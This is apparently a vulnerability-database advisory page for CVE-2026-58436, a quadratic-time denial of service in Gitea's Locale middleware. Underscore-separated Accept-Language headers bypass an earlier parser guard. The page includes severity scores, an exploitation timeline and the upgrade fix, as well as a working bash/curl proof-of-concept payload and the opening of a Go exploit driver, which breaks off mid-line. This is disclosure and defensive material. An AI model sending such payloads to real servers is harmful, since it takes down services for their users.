VulnerabilityPublished 21 Jul 2026

CVE-2026-58436: Gitea · ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests

Affects code.gitea.io/giteaSource GCVE Database

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Mentioned vulnerabilities

CVE-2022-32149

Authoritative record:CVE-2026-58436· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 1.27.0 soon.

Data as of 30 Oct 2026, 11:52 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.6% chance of exploitation in 30 days – higher than 49% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.27.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

CVE ID reserved
by Gitea Limited
30 Jun 202618:57 UTC, 44 days before disclosure
CVE published
on cve.org
13 Aug 202616:44 UTC, t = 0
CISA SSVC assessment
proof of concept public
14 Aug 202617:14 UTC, 24 hours after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade code.gitea.io/gitea to 1.27.0.

Affected software

Product	Affected	Fixed in
Gocode.gitea.io/gitea	Affected <1.27.0	Fixed in 1.27.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The Locale middleware that runs in front of every unauthenticated request calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request. ### Affected versions `code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the `Accept-Language` header before calling `ParseAcceptLanguage`. Verified on: - the official `gitea/gitea:1.22.6` docker image (E2E below) - `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading `modules/web/middleware/locale.go` (the call site at line 38 is unchanged on `main`) ### Privilege required Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page. ### Vulnerable code [`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38) (blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`): ```go // 3. Get language information from 'Accept-Language'. // The first element in the list is chosen to be the default language automatically. if len(lang) == 0 { tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language")) tag := translation.Match(tags...) lang = tag.String() } ``` `req.Header.Get("Accept-Language")` is the unfiltered HTTP header. Default Go `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. The fix author of CVE-2022-32149 treated `-` as the canonical separator; the `_` alias was added in 2013, nine years before the fix. ### How `Accept-Language` reaches `ParseAcceptLanguage` Every Gitea HTTP request passes through `Locale` as it is wired up via the global request pipeline (Gitea registers the middleware on its router in `routers/web/web.go`). The middleware sequence is: 1. The request enters `Locale(resp, req)`. 2. `req.URL.Query().Get("lang")` returns "" (attacker omits `lang`). 3. `req.Cookie("lang")` returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie). 4. `req.Header.Get("Accept-Language")` returns the full attacker-supplied header value. 5. `language.ParseAcceptLanguage(...)` runs unfiltered. No size or character class filter is applied between (4) and (5). ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `gitea/gitea:1.22.6` container: ```bash docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6 sleep 8 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:13000/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `gitea/gitea:1.22.6`) A Go driver `poc.go` that boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:13000/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <

CWE-1333Inefficient Regular Expression Complexity (opens in a new tab)
Base weaknessLikelihood of exploit: High
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
Architecture and Design
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
System Configuration
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Implementation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
OWASP Cheat Sheets
File Upload (opens in a new tab)
OWASP ASVS 4.0.3
V12.1.1 (opens in a new tab)
Attack patterns
Regular Expression Exponential Blowup (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-407Inefficient Algorithmic Complexity (opens in a new tab)
Class weaknessLikelihood of exploit: Low
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
OWASP Cheat Sheets
File Upload (opens in a new tab)
OWASP ASVS 4.0.3
V12.1.1 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

Timeline

What to do

Affected software

Description

WeaknessesCWE-1333, CWE-407

Technical details

References

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